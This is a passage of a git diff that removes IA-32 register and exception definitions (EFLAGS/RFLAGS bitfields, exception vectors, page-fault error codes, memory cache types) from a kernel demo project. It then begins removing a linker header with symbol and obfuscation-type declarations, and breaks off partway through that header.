EFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 -#define EFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) - uint32_t reserved2 : 1; - - /** - * @brief Zero flag - * - * [Bit 6] Set if the result is zero; cleared otherwise. - */ - uint32_t zero_flag : 1; -#define EFLAGS_ZERO_FLAG_BIT 6 -#define EFLAGS_ZERO_FLAG_FLAG 0x40 -#define EFLAGS_ZERO_FLAG_MASK 0x01 -#define EFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) - - /** - * @brief Sign flag - * - * [Bit 7] Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a - * positive value and 1 indicates a negative value.) - */ - uint32_t sign_flag : 1; -#define EFLAGS_SIGN_FLAG_BIT 7 -#define EFLAGS_SIGN_FLAG_FLAG 0x80 -#define EFLAGS_SIGN_FLAG_MASK 0x01 -#define EFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) - - /** - * @brief Trap flag - * - * [Bit 8] Set to enable single-step mode for debugging; clear to disable single-step mode. - */ - uint32_t trap_flag : 1; -#define EFLAGS_TRAP_FLAG_BIT 8 -#define EFLAGS_TRAP_FLAG_FLAG 0x100 -#define EFLAGS_TRAP_FLAG_MASK 0x01 -#define EFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) - - /** - * @brief Interrupt enable flag - * - * [Bit 9] Controls the response of the processor to maskable interrupt requests. Set to respond to maskable interrupts; - * cleared to inhibit maskable interrupts. - */ - uint32_t interrupt_enable_flag : 1; -#define EFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 -#define EFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 -#define EFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 -#define EFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) - - /** - * @brief Direction flag - * - * [Bit 10] Controls string instructions (MOVS, CMPS, SCAS, LODS, and STOS). Setting the DF flag causes the string - * instructions to auto-decrement (to process strings from high addresses to low addresses). Clearing the DF flag causes - * the string instructions to auto-increment (process strings from low addresses to high addresses). - */ - uint32_t direction_flag : 1; -#define EFLAGS_DIRECTION_FLAG_BIT 10 -#define EFLAGS_DIRECTION_FLAG_FLAG 0x400 -#define EFLAGS_DIRECTION_FLAG_MASK 0x01 -#define EFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) - - /** - * @brief Overflow flag - * - * [Bit 11] Set if the integer result is too large a positive number or too small a negative number (excluding the - * sign-bit) to fit in the destination operand; cleared otherwise. This flag indicates an overflow condition for - * signed-integer (two's complement) arithmetic. - */ - uint32_t overflow_flag : 1; -#define EFLAGS_OVERFLOW_FLAG_BIT 11 -#define EFLAGS_OVERFLOW_FLAG_FLAG 0x800 -#define EFLAGS_OVERFLOW_FLAG_MASK 0x01 -#define EFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) - - /** - * @brief I/O privilege level field - * - * [Bits 13:12] Indicates the I/O privilege level of the currently running program or task. The current privilege level - * (CPL) of the currently running program or task must be less than or equal to the I/O privilege level to access the I/O - * address space. The POPF and IRET instructions can modify this field only when operating at a CPL of 0. - */ - uint32_t io_privilege_level : 2; -#define EFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 -#define EFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 -#define EFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 -#define EFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) - - /** - * @brief Nested task flag - * - * [Bit 14] Controls the chaining of interrupted and called tasks. Set when the current task is linked to the previously - * executed task; cleared when the current task is not linked to another task. - */ - uint32_t nested_task_flag : 1; -#define EFLAGS_NESTED_TASK_FLAG_BIT 14 -#define EFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 -#define EFLAGS_NESTED_TASK_FLAG_MASK 0x01 -#define EFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) - uint32_t reserved3 : 1; - - /** - * @brief Resume flag - * - * [Bit 16] Controls the processor's response to debug exceptions. - */ - uint32_t resume_flag : 1; -#define EFLAGS_RESUME_FLAG_BIT 16 -#define EFLAGS_RESUME_FLAG_FLAG 0x10000 -#define EFLAGS_RESUME_FLAG_MASK 0x01 -#define EFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) - - /** - * @brief Virtual-8086 mode flag - * - * [Bit 17] Set to enable virtual-8086 mode; clear to return to protected mode without virtual-8086 mode semantics. - */ - uint32_t virtual_8086_mode_flag : 1; -#define EFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 -#define EFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 -#define EFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 -#define EFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) - - /** - * @brief Alignment check (or access control) flag - * - * [Bit 18] If the AM bit is set in the CR0 register, alignment checking of user-mode data accesses is enabled if and only - * if this flag is 1. If the SMAP bit is set in the CR4 register, explicit supervisor-mode data accesses to user-mode pages - * are allowed if and only if this bit is 1. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint32_t alignment_check_flag : 1; -#define EFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 -#define EFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 -#define EFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 -#define EFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) - - /** - * @brief Virtual interrupt flag - * - * [Bit 19] Virtual image of the IF flag. Used in conjunction with the VIP flag. (To use this flag and the VIP flag the - * virtual mode extensions are enabled by setting the VME flag in control register CR4.) - */ - uint32_t virtual_interrupt_flag : 1; -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 -#define EFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) - - /** - * @brief Virtual interrupt pending flag - * - * [Bit 20] Set to indicate that an interrupt is pending; clear when no interrupt is pending. (Software sets and clears - * this flag; the processor only reads it.) Used in conjunction with the VIF flag. - */ - uint32_t virtual_interrupt_pending_flag : 1; -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 -#define EFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) - - /** - * @brief Identification flag - * - * [Bit 21] The ability of a program to set or clear this flag indicates support for the CPUID instruction. - */ - uint32_t identification_flag : 1; -#define EFLAGS_IDENTIFICATION_FLAG_BIT 21 -#define EFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 -#define EFLAGS_IDENTIFICATION_FLAG_MASK 0x01 -#define EFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) - uint32_t reserved4 : 10; - }; - - uint32_t flags; -} eflags; - -/** - * The 64-bit RFLAGS register contains a group of status flags, a control flag, and a group of system flags in 64-bit mode. - * The upper 32 bits of RFLAGS register is reserved. The lower 32 bits of RFLAGS is the same as EFLAGS. - * - * @see EFLAGS - * @see Vol1[3.4.3.4(RFLAGS Register in 64-Bit Mode)] (reference) - */ -typedef union -{ - struct - { - /** - * @brief Carry flag - * - * [Bit 0] See the description in EFLAGS. - */ - uint64_t carry_flag : 1; -#define RFLAGS_CARRY_FLAG_BIT 0 -#define RFLAGS_CARRY_FLAG_FLAG 0x01 -#define RFLAGS_CARRY_FLAG_MASK 0x01 -#define RFLAGS_CARRY_FLAG(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Reserved - always 1 - */ - uint64_t read_as_1 : 1; -#define RFLAGS_READ_AS_1_BIT 1 -#define RFLAGS_READ_AS_1_FLAG 0x02 -#define RFLAGS_READ_AS_1_MASK 0x01 -#define RFLAGS_READ_AS_1(_) (((_) >> 1) & 0x01) - - /** - * @brief Parity flag - * - * [Bit 2] See the description in EFLAGS. - */ - uint64_t parity_flag : 1; -#define RFLAGS_PARITY_FLAG_BIT 2 -#define RFLAGS_PARITY_FLAG_FLAG 0x04 -#define RFLAGS_PARITY_FLAG_MASK 0x01 -#define RFLAGS_PARITY_FLAG(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief Auxiliary Carry flag - * - * [Bit 4] See the description in EFLAGS. - */ - uint64_t auxiliary_carry_flag : 1; -#define RFLAGS_AUXILIARY_CARRY_FLAG_BIT 4 -#define RFLAGS_AUXILIARY_CARRY_FLAG_FLAG 0x10 -#define RFLAGS_AUXILIARY_CARRY_FLAG_MASK 0x01 -#define RFLAGS_AUXILIARY_CARRY_FLAG(_) (((_) >> 4) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief Zero flag - * - * [Bit 6] See the description in EFLAGS. - */ - uint64_t zero_flag : 1; -#define RFLAGS_ZERO_FLAG_BIT 6 -#define RFLAGS_ZERO_FLAG_FLAG 0x40 -#define RFLAGS_ZERO_FLAG_MASK 0x01 -#define RFLAGS_ZERO_FLAG(_) (((_) >> 6) & 0x01) - - /** - * @brief Sign flag - * - * [Bit 7] See the description in EFLAGS. - */ - uint64_t sign_flag : 1; -#define RFLAGS_SIGN_FLAG_BIT 7 -#define RFLAGS_SIGN_FLAG_FLAG 0x80 -#define RFLAGS_SIGN_FLAG_MASK 0x01 -#define RFLAGS_SIGN_FLAG(_) (((_) >> 7) & 0x01) - - /** - * @brief Trap flag - * - * [Bit 8] See the description in EFLAGS. - */ - uint64_t trap_flag : 1; -#define RFLAGS_TRAP_FLAG_BIT 8 -#define RFLAGS_TRAP_FLAG_FLAG 0x100 -#define RFLAGS_TRAP_FLAG_MASK 0x01 -#define RFLAGS_TRAP_FLAG(_) (((_) >> 8) & 0x01) - - /** - * @brief Interrupt enable flag - * - * [Bit 9] See the description in EFLAGS. - */ - uint64_t interrupt_enable_flag : 1; -#define RFLAGS_INTERRUPT_ENABLE_FLAG_BIT 9 -#define RFLAGS_INTERRUPT_ENABLE_FLAG_FLAG 0x200 -#define RFLAGS_INTERRUPT_ENABLE_FLAG_MASK 0x01 -#define RFLAGS_INTERRUPT_ENABLE_FLAG(_) (((_) >> 9) & 0x01) - - /** - * @brief Direction flag - * - * [Bit 10] See the description in EFLAGS. - */ - uint64_t direction_flag : 1; -#define RFLAGS_DIRECTION_FLAG_BIT 10 -#define RFLAGS_DIRECTION_FLAG_FLAG 0x400 -#define RFLAGS_DIRECTION_FLAG_MASK 0x01 -#define RFLAGS_DIRECTION_FLAG(_) (((_) >> 10) & 0x01) - - /** - * @brief Overflow flag - * - * [Bit 11] See the description in EFLAGS. - */ - uint64_t overflow_flag : 1; -#define RFLAGS_OVERFLOW_FLAG_BIT 11 -#define RFLAGS_OVERFLOW_FLAG_FLAG 0x800 -#define RFLAGS_OVERFLOW_FLAG_MASK 0x01 -#define RFLAGS_OVERFLOW_FLAG(_) (((_) >> 11) & 0x01) - - /** - * @brief I/O privilege level field - * - * [Bits 13:12] See the description in EFLAGS. - */ - uint64_t io_privilege_level : 2; -#define RFLAGS_IO_PRIVILEGE_LEVEL_BIT 12 -#define RFLAGS_IO_PRIVILEGE_LEVEL_FLAG 0x3000 -#define RFLAGS_IO_PRIVILEGE_LEVEL_MASK 0x03 -#define RFLAGS_IO_PRIVILEGE_LEVEL(_) (((_) >> 12) & 0x03) - - /** - * @brief Nested task flag - * - * [Bit 14] See the description in EFLAGS. - */ - uint64_t nested_task_flag : 1; -#define RFLAGS_NESTED_TASK_FLAG_BIT 14 -#define RFLAGS_NESTED_TASK_FLAG_FLAG 0x4000 -#define RFLAGS_NESTED_TASK_FLAG_MASK 0x01 -#define RFLAGS_NESTED_TASK_FLAG(_) (((_) >> 14) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief Resume flag - * - * [Bit 16] See the description in EFLAGS. - */ - uint64_t resume_flag : 1; -#define RFLAGS_RESUME_FLAG_BIT 16 -#define RFLAGS_RESUME_FLAG_FLAG 0x10000 -#define RFLAGS_RESUME_FLAG_MASK 0x01 -#define RFLAGS_RESUME_FLAG(_) (((_) >> 16) & 0x01) - - /** - * @brief Virtual-8086 mode flag - * - * [Bit 17] See the description in EFLAGS. - */ - uint64_t virtual_8086_mode_flag : 1; -#define RFLAGS_VIRTUAL_8086_MODE_FLAG_BIT 17 -#define RFLAGS_VIRTUAL_8086_MODE_FLAG_FLAG 0x20000 -#define RFLAGS_VIRTUAL_8086_MODE_FLAG_MASK 0x01 -#define RFLAGS_VIRTUAL_8086_MODE_FLAG(_) (((_) >> 17) & 0x01) - - /** - * @brief Alignment check (or access control) flag - * - * [Bit 18] See the description in EFLAGS. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t alignment_check_flag : 1; -#define RFLAGS_ALIGNMENT_CHECK_FLAG_BIT 18 -#define RFLAGS_ALIGNMENT_CHECK_FLAG_FLAG 0x40000 -#define RFLAGS_ALIGNMENT_CHECK_FLAG_MASK 0x01 -#define RFLAGS_ALIGNMENT_CHECK_FLAG(_) (((_) >> 18) & 0x01) - - /** - * @brief Virtual interrupt flag - * - * [Bit 19] See the description in EFLAGS. - */ - uint64_t virtual_interrupt_flag : 1; -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_BIT 19 -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_FLAG 0x80000 -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG_MASK 0x01 -#define RFLAGS_VIRTUAL_INTERRUPT_FLAG(_) (((_) >> 19) & 0x01) - - /** - * @brief Virtual interrupt pending flag - * - * [Bit 20] See the description in EFLAGS. - */ - uint64_t virtual_interrupt_pending_flag : 1; -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_BIT 20 -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_FLAG 0x100000 -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG_MASK 0x01 -#define RFLAGS_VIRTUAL_INTERRUPT_PENDING_FLAG(_) (((_) >> 20) & 0x01) - - /** - * @brief Identification flag - * - * [Bit 21] See the description in EFLAGS. - */ - uint64_t identification_flag : 1; -#define RFLAGS_IDENTIFICATION_FLAG_BIT 21 -#define RFLAGS_IDENTIFICATION_FLAG_FLAG 0x200000 -#define RFLAGS_IDENTIFICATION_FLAG_MASK 0x01 -#define RFLAGS_IDENTIFICATION_FLAG(_) (((_) >> 21) & 0x01) - uint64_t reserved4 : 42; - }; - - uint64_t flags; -} rflags; - -/** - * @defgroup exceptions \ - * Exceptions - * @{ - */ - /** - * @brief Exceptions that can occur when the instruction is executed in protected mode. - * Each exception is given a mnemonic that consists of a pound sign (\#) followed by two letters and an optional error code - * in parentheses. For example, \#GP(0) denotes a general protection exception with an error code of 0 - * - * @see Vol2A[3.1.1.13(Protected Mode Exceptions Section)] (reference) - * @see Vol3A[6.3.1(External Interrupts)] (reference) - */ -typedef enum -{ - /** - * #DE - Divide Error. - * Source: DIV and IDIV instructions. - * Error Code: No. - */ - divide_error = 0x00000000, - - /** - * #DB - Debug. - * Source: Any code or data reference. - * Error Code: No. - */ - debug = 0x00000001, - - /** - * Nonmaskable Interrupt. - * Source: Generated externally by asserting the processor's NMI pin or - * through an NMI request set by the I/O APIC to the local APIC. - * Error Code: No. - */ - nmi = 0x00000002, - - /** - * #BP - Breakpoint. - * Source: INT3 instruction. - * Error Code: No. - */ - breakpoint = 0x00000003, - - /** - * #OF - Overflow. - * Source: INTO instruction. - * Error Code: No. - */ - overflow = 0x00000004, - - /** - * #BR - BOUND Range Exceeded. - * Source: BOUND instruction. - * Error Code: No. - */ - bound_range_exceeded = 0x00000005, - - /** - * #UD - Invalid Opcode (Undefined Opcode). - * Source: UD instruction or reserved opcode. - * Error Code: No. - */ - invalid_opcode = 0x00000006, - - /** - * #NM - Device Not Available (No Math Coprocessor). - * Source: Floating-point or WAIT/FWAIT instruction. - * Error Code: No. - */ - device_not_available = 0x00000007, - - /** - * #DF - Double Fault. - * Source: Any instruction that can generate an exception, an NMI, or an INTR. - * Error Code: Yes (zero). - */ - double_fault = 0x00000008, - - /** - * #\## - Coprocessor Segment Overrun (reserved). - * Source: Floating-point instruction. - * Error Code: No. - * - * @note Processors after the Intel386 processor do not generate this exception. - */ - coprocessor_segment_overrun = 0x00000009, - - /** - * #TS - Invalid TSS. - * Source: Task switch or TSS access. - * Error Code: Yes. - */ - invalid_tss = 0x0000000A, - - /** - * #NP - Segment Not Present. - * Source: Loading segment registers or accessing system segments. - * Error Code: Yes. - */ - segment_not_present = 0x0000000B, - - /** - * #SS - Stack Segment Fault. - * Source: Stack operations and SS register loads. - * Error Code: Yes. - */ - stack_segment_fault = 0x0000000C, - - /** - * #GP - General Protection. - * Source: Any memory reference and other protection checks. - * Error Code: Yes. - */ - general_protection = 0x0000000D, - - /** - * #PF - Page Fault. - * Source: Any memory reference. - * Error Code: Yes. - */ - page_fault = 0x0000000E, - - /** - * #MF - Floating-Point Error (Math Fault). - * Source: Floating-point or WAIT/FWAIT instruction. - * Error Code: No. - */ - x87_floating_point_error = 0x00000010, - - /** - * #AC - Alignment Check. - * Source: Any data reference in memory. - * Error Code: Yes. - */ - alignment_check = 0x00000011, - - /** - * #MC - Machine Check. - * Source: Model dependent machine check errors. - * Error Code: No. - */ - machine_check = 0x00000012, - - /** - * #XM - SIMD Floating-Point Numeric Error. - * Source: SSE/SSE2/SSE3 floating-point instructions. - * Error Code: No. - */ - simd_floating_point_error = 0x00000013, - - /** - * #VE - Virtualization Exception. - * Source: EPT violations. - * Error Code: No. - */ - virtualization_exception = 0x00000014, -} exception_vector; - -/** - * @brief When an exception condition is related to a specific segment selector or IDT vector, the processor pushes an - * error code onto the stack of the exception handler (whether it is a procedure or task). The error code resembles a - * segment selector; however, instead of a TI flag and RPL field, the error code contains 3 different flags - * - * @see Vol3A[6.13(ERROR CODE)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bit 0] When set, indicates that the exception occurred during delivery of an event external to the program, such as an - * interrupt or an earlier exception. The bit is cleared if the exception occurred during delivery of a software interrupt - * (INT n, INT3, or INTO). - */ - uint32_t external_event : 1; -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_BIT 0 -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_FLAG 0x01 -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT_MASK 0x01 -#define EXCEPTION_ERROR_CODE_EXTERNAL_EVENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] When set, indicates that the index portion of the error code refers to a gate descriptor in the IDT; when clear, - * indicates that the index refers to a descriptor in the GDT or the current LDT. - */ - uint32_t descriptor_location : 1; -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_BIT 1 -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_FLAG 0x02 -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION_MASK 0x01 -#define EXCEPTION_ERROR_CODE_DESCRIPTOR_LOCATION(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Only used when the IDT flag is clear. When set, the TI flag indicates that the index portion of the error code - * refers to a segment or gate descriptor in the LDT; when clear, it indicates that the index refers to a descriptor in the - * current GDT. - */ - uint32_t gdt_ldt : 1; -#define EXCEPTION_ERROR_CODE_GDT_LDT_BIT 2 -#define EXCEPTION_ERROR_CODE_GDT_LDT_FLAG 0x04 -#define EXCEPTION_ERROR_CODE_GDT_LDT_MASK 0x01 -#define EXCEPTION_ERROR_CODE_GDT_LDT(_) (((_) >> 2) & 0x01) - - /** - * [Bits 15:3] The segment selector index field provides an index into the IDT, GDT, or current LDT to the segment or gate - * selector being referenced by the error code. In some cases the error code is null (all bits are clear except possibly - * EXT). A null error code indicates that the error was not caused by a reference to a specific segment or that a null - * segment selector was referenced in an operation. - * - * @note The format of the error code is different for page-fault exceptions (#PF). - */ - uint32_t index : 13; -#define EXCEPTION_ERROR_CODE_INDEX_BIT 3 -#define EXCEPTION_ERROR_CODE_INDEX_FLAG 0xFFF8 -#define EXCEPTION_ERROR_CODE_INDEX_MASK 0x1FFF -#define EXCEPTION_ERROR_CODE_INDEX(_) (((_) >> 3) & 0x1FFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; -} exception_error_code; - -/** - * @brief Page fault exception - * - * @see Vol3A[4.7(PAGE-FAULT EXCEPTIONS)] (reference) - */ -typedef union -{ - struct - { - /** - * [Bit 0] This flag is 0 if there is no translation for the linear address because the P flag was 0 in one of the - * pagingstructure entries used to translate that address. - */ - uint32_t present : 1; -#define PAGE_FAULT_EXCEPTION_PRESENT_BIT 0 -#define PAGE_FAULT_EXCEPTION_PRESENT_FLAG 0x01 -#define PAGE_FAULT_EXCEPTION_PRESENT_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If the access causing the page-fault exception was a write, this flag is 1; otherwise, it is 0. This flag - * describes the access causing the page-fault exception, not the access rights specified by paging. - */ - uint32_t write : 1; -#define PAGE_FAULT_EXCEPTION_WRITE_BIT 1 -#define PAGE_FAULT_EXCEPTION_WRITE_FLAG 0x02 -#define PAGE_FAULT_EXCEPTION_WRITE_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] If a user-mode access caused the page-fault exception, this flag is 1; it is 0 if a supervisor-mode access did - * so. This flag describes the access causing the page-fault exception, not the access rights specified by paging. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint32_t user_mode_access : 1; -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_BIT 2 -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_FLAG 0x04 -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_USER_MODE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] This flag is 1 if there is no translation for the linear address because a reserved bit was set in one of the - * pagingstructure entries used to translate that address. (Because reserved bits are not checked in a paging-structure - * entry whose P flag is 0, bit 3 of the error code can be set only if bit 0 is also set). Bits reserved in the - * paging-structure entries are reserved for future functionality. Software developers should be aware that such bits may - * be used in the future and that a paging-structure entry that causes a page-fault exception on one processor might not do - * so in the future. - */ - uint32_t reserved_bit_violation : 1; -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_BIT 3 -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_FLAG 0x08 -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_RESERVED_BIT_VIOLATION(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] This flag is 1 if (1) the access causing the page-fault exception was an instruction fetch; and (2) either (a) - * CR4.SMEP = 1; or (b) both (i) CR4.PAE = 1 (either PAE paging or 4-level paging is in use); and (ii) IA32_EFER.NXE = 1. - * Otherwise, the flag is 0. This flag describes the access causing the page-fault exception, not the access rights - * specified by paging. - */ - uint32_t execute : 1; -#define PAGE_FAULT_EXCEPTION_EXECUTE_BIT 4 -#define PAGE_FAULT_EXCEPTION_EXECUTE_FLAG 0x10 -#define PAGE_FAULT_EXCEPTION_EXECUTE_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_EXECUTE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] This flag is 1 if (1) IA32_EFER.LMA = CR4.PKE = 1; (2) the access causing the page-fault exception was a data - * access; (3) the linear address was a user-mode address with protection key i; and (5) the PKRU register is such that - * either (a) ADi = 1; or (b) the following all hold: (i) WDi = 1; (ii) the access is a write access; and (iii) either - * CR0.WP = 1 or the access causing the page-fault exception was a user-mode access. - * - * @see Vol3A[4.6.2(Protection Keys)] - */ - uint32_t protection_key_violation : 1; -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_BIT 5 -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_FLAG 0x20 -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_PROTECTION_KEY_VIOLATION(_) (((_) >> 5) & 0x01) - uint32_t reserved1 : 9; - - /** - * [Bit 15] This flag is 1 if the exception is unrelated to paging and resulted from violation of SGX-specific - * access-control requirements. Because such a violation can occur only if there is no ordinary page fault, this flag is - * set only if the P flag (bit 0) is 1 and the RSVD flag (bit 3) and the PK flag (bit 5) are both 0. - */ - uint32_t sgx : 1; -#define PAGE_FAULT_EXCEPTION_SGX_BIT 15 -#define PAGE_FAULT_EXCEPTION_SGX_FLAG 0x8000 -#define PAGE_FAULT_EXCEPTION_SGX_MASK 0x01 -#define PAGE_FAULT_EXCEPTION_SGX(_) (((_) >> 15) & 0x01) - uint32_t reserved2 : 16; - }; - - uint32_t flags; -} page_fault_exception; - -/** - * @} - */ - - /** - * @defgroup memory_type \ - * Memory caching type - * - * The processor allows any area of system memory to be cached in the L1, L2, and L3 caches. In individual pages or regions - * of system memory, it allows the type of caching (also called memory type) to be specified. - * - * @see Vol3A[11.11(MEMORY TYPE RANGE REGISTERS (MTRRS))] - * @see Vol3A[11.5(CACHE CONTROL)] - * @see Vol3A[11.3(METHODS OF CACHING AVAILABLE)] (reference) - * @{ - */ - /** - * @brief Strong Uncacheable (UC) - * - * System memory locations are not cached. All reads and writes appear on the system bus and are executed in program order - * without reordering. No speculative memory accesses, pagetable walks, or prefetches of speculated branch targets are - * made. This type of cache-control is useful for memory-mapped I/O devices. When used with normal RAM, it greatly reduces - * processor performance. - */ -#define MEMORY_TYPE_UNCACHEABLE 0x00000000 - - /** - * @brief Write Combining (WC) - * - * System memory locations are not cached (as with uncacheable memory) and coherency is not enforced by the processor's bus - * coherency protocol. Speculative reads are allowed. Writes may be delayed and combined in the write combining buffer (WC - * buffer) to reduce memory accesses. If the WC buffer is partially filled, the writes may be delayed until the next - * occurrence of a serializing event; such as, an SFENCE or MFENCE instruction, CPUID execution, a read or write to - * uncached memory, an interrupt occurrence, or a LOCK instruction execution. This type of cache-control is appropriate for - * video frame buffers, where the order of writes is unimportant as long as the writes update memory so they can be seen on - * the graphics display. This memory type is available in the Pentium Pro and Pentium II processors by programming the - * MTRRs; or in processor families starting from the Pentium III processors by programming the MTRRs or by selecting it - * through the PAT. - * - * @see Vol3A[11.3.1(Buffering of Write Combining Memory Locations)] - */ -#define MEMORY_TYPE_WRITE_COMBINING 0x00000001 - - /** - * @brief Write-through (WT) - * - * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause - * cache fills. Speculative reads are allowed. All writes are written to a cache line (when possible) and through to system - * memory. When writing through to memory, invalid cache lines are never filled, and valid cache lines are either filled or - * invalidated. Write combining is allowed. This type of cache-control is appropriate for frame buffers or when there are - * devices on the system bus that access system memory, but do not perform snooping of memory accesses. It enforces - * coherency between caches in the processors and system memory. - */ -#define MEMORY_TYPE_WRITE_THROUGH 0x00000004 - - /** - * @brief Write protected (WP) - * - * Reads come from cache lines when possible, and read misses cause cache fills. Writes are propagated to the system bus - * and cause corresponding cache lines on all processors on the bus to be invalidated. Speculative reads are allowed. This - * memory type is available in processor families starting from the P6 family processors by programming the MTRRs. - */ -#define MEMORY_TYPE_WRITE_PROTECTED 0x00000005 - - /** - * @brief Write-back (WB) - * - * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause - * cache fills. Speculative reads are allowed. Write misses cause cache line fills (in processor families starting with the - * P6 family processors), and writes are performed entirely in the cache, when possible. Write combining is allowed. The - * write-back memory type reduces bus traffic by eliminating many unnecessary writes to system memory. Writes to a cache - * line are not immediately forwarded to system memory; instead, they are accumulated in the cache. The modified cache - * lines are written to system memory later, when a write-back operation is performed. Write-back operations are triggered - * when cache lines need to be deallocated, such as when new cache lines are being allocated in a cache that is already - * full. They also are triggered by the mechanisms used to maintain cache consistency. This type of cache-control provides - * the best performance, but it requires that all devices that access system memory on the system bus be able to snoop - * memory accesses to insure system memory and cache coherency. - */ -#define MEMORY_TYPE_WRITE_BACK 0x00000006 - - /** - * @brief Uncacheable (UC-) - * - * Has same characteristics as the strong uncacheable (UC) memory type, except that this memory type can be overridden by - * programming the MTRRs for the WC memory type. This memory type is available in processor families starting from the - * Pentium III processors and can only be selected through the PAT. - */ -#define MEMORY_TYPE_UNCACHEABLE_MINUS 0x00000007 -#define MEMORY_TYPE_INVALID 0x000000FF - /** - * @} - */ - - /** - * @} - */ - diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/linker.hpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/linker.hpp deleted file mode 100644 index c0e4647..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/linker.hpp +++ /dev/null @@ -1,76 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include "utils.hpp" - -namespace lnk -{ - enum theo_type - { - obfuscate = 1, - mutate = 2, - encrypt = 3 - }; - - struct symbol_t - { - // name of the symbol... not mangled... - std::string symbol_name; - - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation - std::uint32_t type; - - // what section this symbol is in... - std::uint32_t section_number; - - // offset into section... - std::uint32_t section_offset; - - // file offset into OBJ file... - std::uint32_t file_offset; - - // only used by functions... size in bytes of routine... - std::uint32_t size; - - // if this symbol is a function and is inside of a .theo 